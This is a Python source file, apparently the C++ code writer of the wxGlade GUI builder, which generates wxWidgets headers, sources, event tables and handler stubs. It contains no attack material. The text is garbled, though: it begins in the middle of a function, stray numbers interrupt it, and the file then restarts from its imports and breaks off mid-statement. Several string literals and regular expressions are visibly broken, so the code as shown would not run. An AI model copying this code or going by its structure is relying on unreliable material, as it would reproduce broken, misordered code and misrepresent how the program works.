hwrite('%svirtual void %s(%s &event); // wxGlade: <event_handler>\n' % (t, handler, evt_type)) already_there.add( handler ) hwrite('}; // wxGlade: end class\n\n') elif prev_src: if self._mark_blocks: hwrite(self.tabs(1) + '// begin wxGlade: %s::ids\n' % fmt_klass) ids = klass.ids # let's try to see if there are extra ids to add to the enum if hasattr(builder, 'get_ids_code'): ids.extend(builder.get_ids_code(code_obj)) if ids: hwrite(self.tabs(1) + 'enum {\n') for id_name in ids: hwrite('%s%s,\n' % (self.tabs(2), id_name)) hwrite(self.tabs(1) + '};\n') if self._mark_blocks: hwrite(self.tabs(1) + '// end wxGlade\n') tag = '<%swxGlade replace %s ids>' % (self.nonce, classname) if not prev_src.replace_header( tag, "".join(header_buffer) ): # no ids tag found, issue a warning and do nothing self.warning("wxGlade ids block not found for %s, ids declarations code NOT generated" % code_obj.name) # remove methods block if in old file tag = '<%swxGlade replace %s methods>' % (self.nonce, classname) prev_src.replace_header(tag, []) header_buffer = [] hwrite = header_buffer.append if self._mark_blocks: hwrite(self.tabs(1) + '// begin wxGlade: %s::attributes\n' % fmt_klass) for o_type, o_name in klass.sub_objs: hwrite(self.tabs(1) + '%s* %s;\n' % (o_type, o_name)) if self._mark_blocks: hwrite(self.tabs(1) + '// end wxGlade\n') tag = '<%swxGlade replace %s attributes>' % (self.nonce, classname) if not prev_src.replace_header(tag, "".join(header_buffer)): # no attributes tag found, issue a warning and do nothing self.warning( "wxGlade attributes block not found for %s, attributes declarations code NOT generated" % code_obj.name ) header_buffer = [] hwrite = header_buffer.append if event_handlers: already_there = prev_src.event_handlers.get(classname, set()) t = self.tabs(1) for win_id, evt, handler, evt_type in event_handlers: if handler not in already_there: hwrite('%svirtual void %s(%s &event); // wxGlade: <event_handler>\n' % (t, handler, evt_type)) already_there.add( handler ) if classname not in prev_src.event_table_def: hwrite('\nprotected:\n') hwrite(self.tabs(1) + 'DECLARE_EVENT_TABLE()\n') tag = '<%swxGlade event_handlers %s>' % (self.nonce, classname) if not prev_src.replace_header( tag, "".join(header_buffer) ): # no attributes tag found, issue a warning and do nothing self.warning( "wxGlade events block not found for %s, event table code NOT generated" % code_obj.name ) # source file tab = self.tabs(1) # set the window's style style_p = code_obj.properties.get("style") if style_p and style_p.value_set != style_p.default_value: style = mycn_f(style_p.get_string_value()) if style: sign_inst = sign_inst.replace('style', '%s' % style) # constructor if is_new: base = "%s(%s)" % (base, sign_inst) if custom_base: bases = [b.strip() for b in custom_base.split(',')] if bases: base = "%s(%s)" % (bases[0], sign_inst) rest = ", ".join([b + "()" for b in bases[1:]]) if rest: base += ", " + rest swrite('\n%s::%s(%s):\n%s%s\n{\n' % (fmt_klass, fmt_klass, sign_decl2, tab, base) ) if self._mark_blocks: swrite(tab + '// begin wxGlade: %s::%s\n' % (fmt_klass, fmt_klass)) # the optional initial code from the code properties if not self.preview and code_obj.check_prop("extracode_pre"): for l in code_obj.properties["extracode_pre"].get_lines(): swrite(tab + l) # set size here to avoid problems with splitter windows if 'size' in code_obj.properties and code_obj.properties["size"].is_active(): swrite( tab + self.generate_code_size(code_obj) ) for l in builder.get_properties_code(code_obj): swrite(tab + l) for l in klass.init: swrite(tab + l) if klass.final: swrite(tab + "\n") for l in klass.final: swrite(tab + l) for l in builder.get_layout_code(code_obj): swrite(tab + l) # the optional final code from the code properties if not self.preview and code_obj.check_prop("extracode_post"): for l in code_obj.properties["extracode_post"].get_lines(): swrite(tab + l) # now check if there are extra lines to add to the constructor for l in builder.get_init_code(code_obj): swrite(tab + l) swrite( self.tmpl_ctor_call_layout % {'tab':tab} ) if self._mark_blocks: # end tag swrite('%s%s end wxGlade\n' % (tab, self.comment_sign)) # write class function end statement if self.tmpl_cfunc_end and is_new: swrite( self.tmpl_cfunc_end % {'tab':tab} ) # replace code inside existing constructor block if prev_src and not is_new: # replace the lines inside the ctor wxGlade block # with the new ones tag = '<%swxGlade replace %s %s>' % (self.nonce, classname, classname) if not prev_src.replace( tag, "".join(source_buffer) ): # no constructor tag found, issue a warning and do nothing self.warning( "wxGlade %s::%s block not found, relative code NOT generated" % (fmt_klass, fmt_klass) ) source_buffer = [] swrite = source_buffer.append # generate code for event table code_lines = self.generate_code_event_table( code_obj, is_new, tab, prev_src, event_handlers ) if prev_src and not is_new: tag = '<%swxGlade replace %s event_table>' % (self.nonce, classname) if not prev_src.replace( tag, "".join(code_lines) ): # no constructor tag found, issue a warning and do nothing self.warning( "wxGlade %s::event_table block not found, relative code NOT generated" % fmt_klass ) else: source_buffer.extend(code_lines) # generate code for event handler stubs code_lines = self.generate_code_event_handler( code_obj, is_new, tab, prev_src, event_handlers ) # replace code inside existing event handlers if prev_src and not is_new: tag = '<%swxGlade add %s event handlers>' % (self.nonce, classname) if not prev_src.replace( tag, "".join(code_lines) ): # no constructor tag found, issue a warning and do nothing self.warning( "wxGlade %s event handlers marker not found, relative code NOT generated" % fmt_klass ) else: source_buffer.extend(code_lines) if not self.multiple_files and prev_src: # if this is a new class, add its code to the new_classes list of the SourceFileContent instance if is_new: prev_src.new_classes.append( ("".join(header_buffer), "".join(source_buffer)) ) return if self.multiple_files: if base in self.obj_builders: klass.dependencies.update( getattr(self.obj_builders[base], 'import_modules', []) ) if prev_src: tag = '<%swxGlade insert new_classes>' % self.nonce prev_src.replace_header(tag, "") # insert the module dependencies of this class # WARNING: there's a double space ' ' between 'replace' and 'dependencies' in the tag below, # because there is no class name (see SourceFileContent, line ~147) tag = '<%swxGlade replace dependencies>' % self.nonce code = self._format_dependencies(klass.dependencies) prev_src.replace_header(tag, code) # insert the extra code of this class extra_code_h = "".join(klass.extra_code_h[::-1]) extra_code_cpp = "".join(klass.extra_code_cpp[::-1]) # if there's extra code but we are not overwriting existing sources, warn the user if extra_code_h or extra_code_cpp: self.warning( '%s (or one of its children) has extra code classes, but you are not overwriting ' 'existing sources: please check that the resulting code is correct!' % code_obj.name ) extra_code_h = self._tagcontent("::extracode", extra_code_h) extra_code_cpp = self._tagcontent("::extracode", extra_code_cpp) tag = '<%swxGlade replace extracode>' % self.nonce prev_src.replace_header(tag, extra_code_h) prev_src.replace(tag, extra_code_cpp) # store the new file contents to disk name = os.path.join(self.out_dir, classname) self.save_file( name +"."+ self.header_extension, "".join(prev_src.header_content), content_only=True ) self.save_file( name +"."+ self.source_extension, "".join(prev_src.content), content_only=True ) return # create the new source file header_file = os.path.join(self.out_dir, classname + "." + self.header_extension) source_file = os.path.join(self.out_dir, classname + "." + self.source_extension) hout = [] sout = [] # header file ---------------------------------------------------------------------------------------------- # isolation directives hn = os.path.basename(header_file).upper().replace('.', '_') hout.append('#ifndef %s\n#define %s\n' % (hn, hn)) hout.append('\n') # write the common lines hout.extend( self.header_lines ) hout.append('\n') # write the module dependencies for this class code = self._format_dependencies(klass.dependencies) hout.append(code) hout.append('\n') # insert the extra code of this class extra_code_h = "".join(klass.extra_code_h[::-1]) extra_code_h = self._tagcontent('::extracode', extra_code_h) hout.append(extra_code_h) hout.append('\n') # write the class body for line in header_buffer: hout.append(line) hout.append('\n#endif // %s\n' % hn) # source file ---------------------------------------------------------------------------------------------- # write the common lines sout.append(self.header_lines[0]) sout.append('#include "%s"\n\n' % os.path.basename(header_file)) # insert the extra code of this class extra_code_cpp = "".join(klass.extra_code_cpp[::-1]) extra_code_cpp = self._tagcontent('::extracode', extra_code_cpp) sout.append(extra_code_cpp) sout.append('\n') # write the class implementation sout.extend(source_buffer) # store source to disk self.save_file(header_file, hout) self.save_file(source_file, sout) else: # not self.multiple_files # write the class body onto the single source file self.output_header.extend(header_buffer) self.output_file.extend(source_buffer) def add_object(self, klass, parent, parent_builder, obj): # get the widget builder instance builder = self._get_object_builder(klass, obj) if not builder: return None try: init, ids, final = builder.get_code(obj) except: print(obj) raise # this shouldn't happen if not obj.IS_SIZER: # the object is a wxWindow instance if obj.check_prop_truth("extracode_pre"): init = obj.properties["extracode_pre"].get_lines() + init if obj.check_prop_truth("extracode_post"): init += obj.properties["extracode_post"].get_lines() if obj.check_prop_truth('extraproperties'): # insert these only after extracode_post init += self.generate_code_extraproperties(obj) mycn = getattr(builder, 'cn', self.cn) for win_id, evt, handler, evt_type in builder.get_event_handlers(obj): klass.event_handlers.append( (win_id, mycn(evt), handler, evt_type) ) # try to see if there's some extra code to add to this class extra_code = getattr(builder, 'extracode', getattr(obj, 'extracode', "") or "" ) if extra_code: extra_code = re.sub(r'\\n', '\n', extra_code) extra_code = re.split(re.compile(r'^###\s*$', re.M), extra_code, 1) klass.extra_code_h.append(extra_code[0]) if len(extra_code) > 1: klass.extra_code_cpp.append(extra_code[1]) # if we are not overwriting existing source, warn the user about the presence of extra code if not self.multiple_files and self.previous_source: self.warning( '%s has extra code, but you are not overwriting existing sources: please check ' 'that the resulting code is correct!' % obj.name ) klass.ids.extend(ids) if self.store_as_attr(obj): if obj.check_prop("instance_class"): klassname = obj.instance_class else: klassname = obj.get_prop_value("class", obj.WX_CLASS) klass.sub_objs.append( (klassname, obj.name) ) klass.init.extend(init) if parent_builder: # add to sizer or notebook klass.init.extend( parent_builder.get_code_per_child(parent, obj) ) klass.final[:0] = final if self.multiple_files and obj.IS_CLASS: klass.dependencies.append(obj.klass) else: if obj.WX_CLASS in self.obj_builders: headers = getattr(self.obj_builders[obj.WX_CLASS], 'import_modules', []) klass.dependencies.update(headers) return builder def generate_code_event_handler(self, code_obj, is_new, tab, prev_src, event_handlers): """Generate the event handler stubs Parameters: code_obj: Object to generate code for (CodeObject) is_new: Indicates if previous source code exists (bool) tab: Indentation of function body (str) prev_src: Previous source code (SourceFileContent) event_handlers: List of event handlers see: tmpl_func_event_stub""" code_lines = [] swrite = code_lines.append if not event_handlers: return [] tmpl_handler = """ void %(klass)s::%(handler)s(%(evt_type)s &event) // wxGlade: %(klass)s.<event_handler> { %(tab)sevent.Skip(); %(tab)s// notify the user that he hasn't implemented the event handler yet %(tab)swxLogDebug(wxT("Event handler (%(klass)s::%(handler)s) not implemented yet")); } """ if prev_src: already_there = prev_src.event_handlers.get(code_obj.klass, set()) else: already_there = set() for win_id, event, handler, evt_type in event_handlers: if handler not in already_there: swrite( tmpl_handler % {'evt_type': evt_type, 'handler': handler, 'klass': code_obj.klass, 'tab': tab} ) already_there.add( handler ) if is_new or not prev_src: swrite('\n\n') swrite('// wxGlade: add %s event handlers\n' % code_obj.klass) if is_new or not prev_src: swrite('\n') return code_lines def generate_code_event_table(self, code_obj, is_new, tab, prev_src, event_handlers): """Generate code for event table declaration. code_obj: Object to generate code for (CodeObject) is_new: Indicates if previous source code exists (bool) tab: Indentation of function body (str) prev_src: Previous source code (SourceFileContent) event_handlers: List of event handlers (strings)""" code_lines = [] write = code_lines.append if not event_handlers: return code_lines if prev_src and code_obj.klass in prev_src.event_table_decl: has_event_table = True else: has_event_table = False if is_new or not has_event_table: write('\nBEGIN_EVENT_TABLE(%s, %s)\n' % (code_obj.klass, code_obj.WX_CLASS)) write(tab + '// begin wxGlade: %s::event_table\n' % code_obj.klass) for obj, event, handler, evt_type in event_handlers: if obj is None: continue if isinstance(obj, str): win_id = obj else: win_id = self.generate_code_id(obj)[1] if 'EVT_NAVIGATION_KEY' in event: tmpl = '%(tab)s%(event)s(%(klass)s::%(handler)s)\n' else: tmpl = '%(tab)s%(event)s(%(win_id)s, %(klass)s::%(handler)s)\n' details = { 'tab': tab, 'event': event, 'win_id': win_id, 'klass': code_obj.klass, 'handler': handler } write(tmpl % details) write(tab + '// end wxGlade\n') if is_new or not has_event_table: write('END_EVENT_TABLE();\n\n') return code_lines def generate_code_id(self, obj, id=None): if id is None: id = obj.window_id if not id: if obj is not None and obj.check_prop_truth("stockitem"): return '', "wxID_" + obj.stockitem return '', 'wxID_ANY' id = str(id) tokens = id.split('=', 1) if len(tokens) != 2: return '', tokens[0] # we assume name is declared elsewhere name, val = tokens if not name: return '', val name = name.strip() val = val.strip() if val == '?': val = self.generated_ids.get(name) if val is None: val = 'wxID_HIGHEST + %d' % self.last_generated_id self.last_generated_id += 1 self.generated_ids[name] = val else: val = val return '%s = %s' % (name, val), name def generate_code_size(self, obj): objname = self.format_generic_access(obj) if obj.IS_CLASS: name2 = 'this' else: name2 = obj.name size = obj.properties["size"].get_string_value() use_dialog_units = (size[-1] == 'd') method = 'SetMinSize' if obj.parent_window else 'SetSize' if use_dialog_units: return '%s%s(wxDLG_UNIT(%s, wxSize(%s)));\n' % (objname, method, name2, size[:-1]) return '%s%s(wxSize(%s));\n' % (objname, method, size) def quote_path(self, s): return 'wxT(%s)' % super(CPPCodeWriter, self).quote_path(s) def _quote_str(self, s): if self._use_gettext: return '_("%s")' % s return 'wxT("%s")' % s def format_generic_access(self, obj): if obj.IS_CLASS: return '' return '%s->' % obj.name def _format_dependencies(self, dependencies): "Format a list of header files for the dependencies output" dep_list = [] for dependency in sorted(dependencies): # unique and sorted if dependency and ('"' != dependency[0] != '<'): dep_list.append('#include "%s.h"\n' % dependency) else: dep_list.append('#include %s\n' % dependency) return self._tagcontent( '::dependencies', dep_list ) writer = CPPCodeWriter() # The code writer is an instance of CPPCodeWriter language = writer.language # Language generated by this code generator

45.243486

120

0.558901

import os.path, re, logging from codegen import BaseLangCodeWriter, BaseSourceFileContent, _replace_tag from codegen import ClassLines as BaseClassLines import config, wcodegen class SourceFileContent(BaseSourceFileContent): rec_block_start = re.compile( r'^(?P<spaces>\s*)' r'//\s*' r'begin\s+wxGlade:\s*' r'(?P<classname>\w*)' r'::' r'(?P<block>\w+)' r'\s*$' ) rec_block_end = re.compile( r'^\s*' r'//\s*' r'end\s+wxGlade' r'\s*$' ) rec_class_end = re.compile( r'^\s*};\s*' r'//\s*' r'wxGlade:\s+end\s+class' r'\s*$' ) rec_class_decl = re.compile( r'^\s*' r'class\s+([a-zA-Z_]\w*)' r'\s*' ) rec_decl_event_table = re.compile( r'^\s*' r'DECLARE_EVENT_TABLE\s*$\s*$\s*;?' r'\s*$' ) rec_def_event_table = re.compile( r'^\s*' r'BEGIN_EVENT_TABLE\s*$\s*(\w+)\s*,\s*(\w+)\s*$' r'\s*$' ) rec_event_handler = re.compile( r'^\s*' r'(?:virtual\s+)?' r'void\s+(?P<handler>[A-Za-z_]+\w*)' r'\s*' r'$[A-Za-z_:0-9]+\s*&\s*\w*$\s*;' r'\s*' r'//\s*wxGlade:\s*<event_handler>' r'\s*$' ) rec_event_handlers_marker = re.compile( r'^\s*' r'//\s*wxGlade:\s*add\s+' r'((?:\w|:)+)\s+event handlers' r'\s*$' ) def __init__(self, name, code_writer): self.header_content = None self.content = None self.event_table_decl = {} self.event_table_def = {} self.header_extension = code_writer.header_extension self.source_extension = code_writer.source_extension BaseSourceFileContent.__init__(self, name, code_writer) def replace_header(self, tag, content): return _replace_tag(self.header_content, tag, content) def build_untouched_content(self): BaseSourceFileContent.build_untouched_content(self) self._build_untouched(self.name + "." + self.header_extension, True) BaseSourceFileContent.build_untouched_content(self) self._build_untouched(self.name + "." + self.source_extension, False) def _build_untouched(self, filename, is_header): prev_was_handler = False events_tag_added = False inside_block = False inside_comment = False tmp_in = self._load_file(filename) out_lines = [] check_old_methods = [] for line in tmp_in: comment_index = line.find('/*') if not inside_comment and comment_index != -1 and comment_index > line.find('//'): inside_comment = True if inside_comment: end_index = line.find('*/') if end_index > comment_index: inside_comment = False if not is_header: result = None else: result = self.rec_class_decl.match(line) if not inside_comment and not inside_block and result: if not self.class_name: out_lines.append( '<%swxGlade insert new_classes>' % self.nonce ) self.new_classes_inserted = True self.class_name = result.group(1) self.class_name = self.format_classname(self.class_name) self.classes.add( self.class_name ) out_lines.append(line) elif not inside_block: result = self.rec_block_start.match(line) if not inside_comment and result: spaces = result.group('spaces') which_class = result.group('classname') which_block = result.group('block') if not which_class: which_class = self.class_name else: which_class = self.format_classname(which_class) self.spaces[which_class] = spaces inside_block = True if which_block in ("do_layout","set_properties"): check_old_methods.append( len(out_lines) ) out_lines.append( '<%swxGlade replace %s %s>' % (self.nonce, result.group('classname'), result.group('block') ) ) else: dont_append = False if is_header and not inside_comment: result = self.rec_event_handler.match(line) if result: prev_was_handler = True which_handler = result.group('handler') which_class = self.class_name self.event_handlers.setdefault( which_class, set() ).add( which_handler ) else: if prev_was_handler: out_lines.append('<%swxGlade event_handlers %s>' % (self.nonce, self.class_name) ) prev_was_handler = False events_tag_added = True elif not events_tag_added and \ self.is_end_of_class(line): out_lines.append( '<%swxGlade event_handlers %s>' % (self.nonce, self.class_name) ) result = self.rec_decl_event_table.match(line) if result: self.event_table_decl[self.class_name] = True elif not inside_comment: result = self.rec_event_handlers_marker.match(line) if result: out_lines.append( '<%swxGlade add %s event handlers>' % (self.nonce, result.group(1)) ) dont_append = True result = self.rec_def_event_table.match(line) if result: which_class = result.group(1) self.event_table_def[which_class] = True if not dont_append: out_lines.append(line) else: if self.rec_block_end.match(line): inside_block = False if is_header and not self.new_classes_inserted: out_lines.append('<%swxGlade insert new_classes>' % self.nonce) while check_old_methods: i = check_old_methods.pop(-1) if out_lines[i+1].strip()=='}': self._remove_method(out_lines, i-2, i+1) if is_header: self.header_content = out_lines else: self.content = out_lines def is_end_of_class(self, line): return self.rec_class_end.match(line) class ClassLines(BaseClassLines): def __init__(self): BaseClassLines.__init__(self) self.ids = [] self.sub_objs = [] self.extra_code_h = [] self.extra_code_cpp = [] self.dependencies = set() class CPPCodeWriter(BaseLangCodeWriter, wcodegen.CppMixin): ClassLines = ClassLines _code_statements = { 'backgroundcolour': "%(objname)sSetBackgroundColour(%(value)s);\n", 'disabled': "%(objname)sEnable(0);\n", 'extraproperties': "%(objname)sSet%(propname_cap)s(%(value)s);\n", 'focused': "%(objname)sSetFocus();\n", 'foregroundcolour': "%(objname)sSetForegroundColour(%(value)s);\n", 'hidden': "%(objname)sHide();\n", 'setfont': "%(objname)sSetFont(wxFont(%(size)s, %(family)s, " "%(style)s, %(weight)s, %(underlined)s, wxT(%(face)s)));\n", 'tooltip': "%(objname)sSetToolTip(%(tooltip)s);\n", 'wxcolour': "wxColour(%(value)s)", 'wxnullcolour': "wxNullColour", 'wxsystemcolour': "wxSystemSettings::GetColour(%(value)s)", } class_separator = '::' language_note = \ '// Example for compiling a single file project under Linux using g++:\n' \ '// g++ MyApp.cpp $(wx-config --libs) $(wx-config --cxxflags) -o MyApp\n' \ '//\n' \ '// Example for compiling a multi file project under Linux using g++:\n' \ '// g++ main.cpp $(wx-config --libs) $(wx-config --cxxflags) -o MyApp Dialog1.cpp Frame1.cpp\n' \ '//\n' output_name = None output_header = None output_file = None shebang = '// -*- C++ -*-\n//\n' tmpl_cfunc_end = '}\n\n' tmpl_sizeritem = '%s->Add(%s, %s, %s, %s);\n' tmpl_sizeritem_button = '%s->AddButton(%s)\n' tmpl_gridbagsizeritem = '%s->Add(%s, wxGBPosition%s, wxGBSpan%s, %s, %s);\n' tmpl_gridbagsizerspacer = '%s->Add(%s, %s, wxGBPosition%s, wxGBSpan%s, %s, %s);\n' tmpl_spacersize = '%s, %s' tmpl_appfile = """\ %(overwrite)s\ %(header_lines)s\ #include "%(filename_top_win_class)s" """ tmpl_init_gettext = """\ #include <wx/intl.h> #ifndef APP_CATALOG #define APP_CATALOG "%(textdomain)s" // replace with the appropriate catalog name #endif """ def _get_app_template(self, app, top_win): if not self.app_name: return None klass = app.klass if self._use_gettext: gettext1 = ["protected:", "%(tab)swxLocale m_locale; // locale we'll be using"] gettext2 = ['%(tab)sm_locale.Init();', ' '%(tab)sm_locale.AddCatalogLookupPathPrefix(wxT(APP_LOCALE_DIR));', ' '%(tab)sm_locale.AddCatalog(wxT(APP_CATALOG));\n'] else: gettext1 = gettext2 = [] if klass: klass1 = 'class %(klass)s: public wxApp {' klass2 = ['IMPLEMENT_APP(%(klass)s)\n', 'bool %(klass)s::OnInit()'] else: klass1 = 'class MyApp: public wxApp {' klass2 = ['IMPLEMENT_APP(MyApp)\n', 'bool MyApp::OnInit()',] ret = ['', klass1, 'public:', '%(tab)sbool OnInit();' ] + gettext1 + ['};\n'] + klass2 + ['{'] + gettext2 + [ '%(tab)swxInitAllImageHandlers();', '%(tab)s%(top_win_class)s* %(top_win)s = new %(top_win_class)s(NULL, wxID_ANY, wxEmptyString);', '%(tab)sSetTopWindow(%(top_win)s);', '%(tab)s%(top_win)s->Show();', '%(tab)sreturn true;', '}', ''] return '\n'.join(ret) tmpl_empty_string = 'wxEmptyString' def init_lang(self, app=None): self.last_generated_id = 1000 self.generated_ids = {} # Extensions and main filename based on Project options when set if app is not None: self.source_extension = app.source_extension or config.default_source_extension self.header_extension = app.header_extension or config.default_header_extension else: self.source_extension = config.default_source_extension self.header_extension = config.default_header_extension if hasattr(app, "app_filename"): # only for testing base = os.path.splitext(app.app_filename)[0] else: base = os.path.splitext(config.default_cpp_app_name)[0] # self.app_filename = '%s.%s' % (base, self.source_extension) self.header_lines = [ ' ' # include i18n / gettext if self._use_gettext and self._textdomain: self.header_lines.append( self.tmpl_init_gettext % {'textdomain': self._textdomain} ) # extra lines to generate (see the 'extracode' property of top-level widgets) self._current_extra_code_h = [] self._current_extra_code_cpp = [] def init_files(self, out_path): if self.multiple_files: self.previous_source = None self.out_dir = out_path else: name = os.path.splitext(out_path)[0] self.output_name = name if not self._overwrite: header_exists = self._file_exists(name + "." + self.header_extension) source_exists = self._file_exists(name + "." + self.source_extension) if (header_exists and not source_exists) or (source_exists and not header_exists): ret = _("To keep existing user code, both header and source file must exist.\n" "(files '%s...'") return ret%name if not self._overwrite and header_exists: # keep all the lines not inside a wxGlade block. self.previous_source = SourceFileContent(name, self) else: # if the file doesn't exist, create it and write the intro self.previous_source = None self.output_header = [] self.output_file = [] oh = os.path.basename(name + "." + self.header_extension).upper().replace( '.', '_' ) self.output_header.append('#ifndef %s\n#define %s\n' % (oh, oh)) self.output_header.append('\n') for line in self.header_lines: self.output_header.append(line) self.output_header.append('\n') self.output_header.append('<%swxGlade replace dependencies>' % self.nonce) self.output_header.append('\n') self.output_header.append('<%swxGlade replace extracode>' % self.nonce) self.output_header.append('\n') self.output_file.append('#include "%s.%s"\n\n' % (os.path.basename(name), self.header_extension)) self.output_file.append('<%swxGlade replace extracode>\n' % self.nonce) self.output_file.append('\n') def output_header_replace(self, tag, content): _replace_tag(self.output_header, tag, content) def finalize(self): if self.previous_source: tag = '<%swxGlade insert new_classes>' % self.nonce if self.previous_source.new_classes: code = "".join([c[0] for c in self.previous_source.new_classes]) else: code = "" self.previous_source.replace_header(tag, code) extra_source = "".join([c[1] for c in self.previous_source.new_classes]) tag = '<%swxGlade replace extracode>' % self.nonce code = self._tagcontent( '::extracode', self._current_extra_code_h ) self.previous_source.replace_header(tag, code) code = self._tagcontent( '::extracode', self._current_extra_code_cpp ) self.previous_source.replace(tag, code) tags = re.compile( r'(<%swxGlade replace ([a-zA-Z_]*\w*) (\w+)>)' % self.nonce ) for i,line in enumerate(self.previous_source.header_content): match = tags.match(line) if not match: continue tag = match.groups() if tag[2] == 'dependencies': #self._logger.debug('writing dependencies') deps = set() for code in self.classes.values(): deps.update(code.dependencies) lines = self._format_dependencies( deps ) elif tag[2] == 'methods': lines = '' else: lines = '// content of this block (%s) not found: did you rename this class?\n' % tag[2] self.previous_source.replace_header(tag[0], lines) # remove all the remaining <123415wxGlade ...> tags in source file XXX make more efficient self._content_notfound( self.previous_source ) tag_start = r'<%swxGlade add ' % self.nonce tag_end = r' event_handlers>' for i, line in enumerate(self.previous_source.content): if line.startswith(tag_start) and line.endswith(tag_end): source_content.content[i] = "" # write the new file contents to disk header_content = "".join( self.previous_source.header_content ) self.save_file( self.previous_source.name + "." + self.header_extension, header_content, content_only=True ) if extra_source: extra_source = '\n\n' + extra_source source_content = "".join( self.previous_source.content ) self.save_file( self.previous_source.name + "." + self.source_extension, source_content + extra_source, content_only=True ) elif not self.multiple_files: oh = os.path.basename(self.output_name).upper() + '_H' self.output_header.append('\n # write the list of include files deps = set() for code in self.classes.values(): deps.update(code.dependencies) code = self._format_dependencies( deps ) self.output_header_replace( '<%swxGlade replace dependencies>' % self.nonce, code ) # extra code (see the 'extracode' property of top-level widgets) tag = '<%swxGlade replace extracode>' % self.nonce code = self._tagcontent('::extracode', self._current_extra_code_h) self.output_header_replace( tag, code ) code = self._tagcontent('::extracode', self._current_extra_code_cpp) self.output_file_replace( tag, code ) self.save_file( self.output_name + "." + self.header_extension, self.output_header, self._app_added ) self.save_file( self.output_name + "." + self.source_extension, self.output_file, self._app_added ) self.output_file = self.output_header = None def add_app(self, app_attrs, top_win): # add language specific mappings self.lang_mapping['filename_top_win_class'] = '%s.%s' % (top_win.klass, self.header_extension) BaseLangCodeWriter.add_app(self, app_attrs, top_win) def add_class(self, code_obj): assert code_obj not in self.classes try: builder = self.obj_builders[code_obj.WX_CLASS] except KeyError: logging.error('%s', code_obj) # this is an error, let the exception be raised; the details are logged by the global exception handler raise ret = self.classes[code_obj] = self.ClassLines() # ClassLines will collect the code lines incl. children return ret def finalize_class(self, code_obj): # write the collected code for the class and its children base = code_obj.WX_CLASS klass = self.classes[code_obj] classname = code_obj.klass fmt_klass = self.cn_class(classname) if self.multiple_files: # let's see if the file to generate exists, and in this case create a SourceFileContent instance filename = os.path.join(self.out_dir, classname.replace('::', '_') + "." + self.header_extension) if self._overwrite or not self._file_exists(filename): prev_src = None else: prev_src = SourceFileContent( os.path.join(self.out_dir, classname), self ) else: prev_src = self.previous_source if prev_src and classname in prev_src.classes: is_new = False else: is_new = True builder = self.obj_builders[base] mycn = getattr(builder, 'cn', self.cn) mycn_f = getattr(builder, 'cn_f', self.cn_f) # collect all event handlers event_handlers = klass.event_handlers for win_id, evt, handler, evt_type in builder.get_event_handlers(code_obj): event_handlers.append((win_id, mycn(evt), handler, evt_type)) # try to see if there's some extra code to add to this class extra_code = getattr(builder, 'extracode', getattr(code_obj, 'extracode', "") or "") if extra_code: extra_code = re.sub(r'\\n', '\n', extra_code) extra_code = re.split(re.compile(r'^###\s*$', re.M), extra_code, 1) klass.extra_code_h.append(extra_code[0]) if len(extra_code) > 1: klass.extra_code_cpp.append(extra_code[1]) if not is_new: self.warning( '%s has extra code, but you are not overwriting existing sources:' ' please check that the resulting code is correct!' % code_obj.name ) if not self.multiple_files: if klass.extra_code_h: self._current_extra_code_h.append( "".join( klass.extra_code_h[::-1] ) ) if klass.extra_code_cpp: self._current_extra_code_cpp.append( "".join( klass.extra_code_cpp[::-1] ) ) default_sign = [('wxWindow*', 'parent'), ('wxWindowID', 'id')] sign = getattr(builder, 'constructor', default_sign) defaults = [] for t in sign: if len(t) == 3: defaults.append(t[2]) else: defaults.append(None) tmp_sign = [t[0] + ' ' + t[1] for t in sign] sign_decl2 = ', '.join(tmp_sign) for i in range(len(tmp_sign)): if defaults[i]: tmp_sign[i] += '=%s' % defaults[i] sign_decl1 = ', '.join(tmp_sign) sign_inst = ', '.join([t[1] for t in sign]) custom_base = code_obj.check_prop_nodefault('custom_base') and code_obj.custom_base.strip() or None header_buffer = [] source_buffer = [] hwrite = header_buffer.append swrite = source_buffer.append if is_new: pass elif custom_base: self.warning( '%s has custom base classes, but you are not overwriting existing sources: ' 'please check that the resulting code is correct!' % code_obj.name ) if is_new: if custom_base: base = ", public ".join([b.strip() for b in custom_base.split(',')]) hwrite('\nclass %s: public %s {\n' % (fmt_klass, base)) hwrite('public:\n') if self._mark_blocks: hwrite(self.tabs(1) + '// begin wxGlade: %s::ids\n' % fmt_klass) ids = klass.ids if hasattr(builder, 'get_ids_code'): ids.extend(builder.get_ids_code(code_obj)) if ids: hwrite(self.tabs(1) + 'enum {\n') for id_name in ids: hwrite('%s%s,\n' % (self.tabs(2), id_name)) hwrite(self.tabs(1) + '};\n') if self._mark_blocks: hwrite(self.tabs(1) + '// end wxGlade\n\n') # constructor prototype hwrite(self.tabs(1) + '%s(%s);\n' % (fmt_klass, sign_decl1)) hwrite('\nprivate:\n') # declarations of the attributes hwrite('\n') hwrite('protected:\n') hwrite(self.tabs(1) + '// begin wxGlade: %s::attributes\n' % fmt_klass) for o_type, o_name in klass.sub_objs: hwrite(self.tabs(1) + '%s* %s;\n' % (o_type, o_name)) hwrite(self.tabs(1) + '// end wxGlade\n') if event_handlers: t = self.tabs(1) hwrite('\n' + t + 'DECLARE_EVENT_TABLE();\n') hwrite('\npublic:\n') already_there = set() for win_id, evt, handler, evt_type in event_handlers: if handler not in already_there: hwrite('%svirtual void %s(%s &event); // wxGlade: <event_handler>\n' % (t, handler, evt_type)) already_there.add( handler ) hwrite('}; // wxGlade: end class\n\n') elif prev_src: if self._mark_blocks: hwrite(self.tabs(1) + '// begin wxGlade: %s::ids\n' % fmt_klass) ids = klass.ids # let's try to see if there are extra ids to add to the enum if hasattr(builder, 'get_ids_code'): ids.extend(builder.get_ids_code(code_obj)) if ids: hwrite(self.tabs(1) + 'enum {\n') for id_name in ids: hwrite('%s%s,\n' % (self.tabs(2), id_name)) hwrite(self.tabs(1) + '};\n') if self._mark_blocks: hwrite(self.tabs(1) + '// end wxGlade\n') tag = '<%swxGlade replace %s ids>' % (self.nonce, classname) if not prev_src.replace_header( tag, "".join(header_buffer) ): self.warning("wxGlade ids block not found for %s, ids declarations code NOT generated" % code_obj.name) tag = '<%swxGlade replace %s methods>' % (self.nonce, classname) prev_src.replace_header(tag, []) header_buffer = [] hwrite = header_buffer.append if self._mark_blocks: hwrite(self.tabs(1) + '// begin wxGlade: %s::attributes\n' % fmt_klass) for o_type, o_name in klass.sub_objs: hwrite(self.tabs(1) + '%s* %s;\n' % (o_type, o_name)) if self._mark_blocks: hwrite(self.tabs(1) + '// end wxGlade\n') tag = '<%swxGlade replace %s attributes>' % (self.nonce, classname) if not prev_src.replace_header(tag, "".join(header_buffer)): self.warning( "wxGlade attributes block not found for %s, attributes 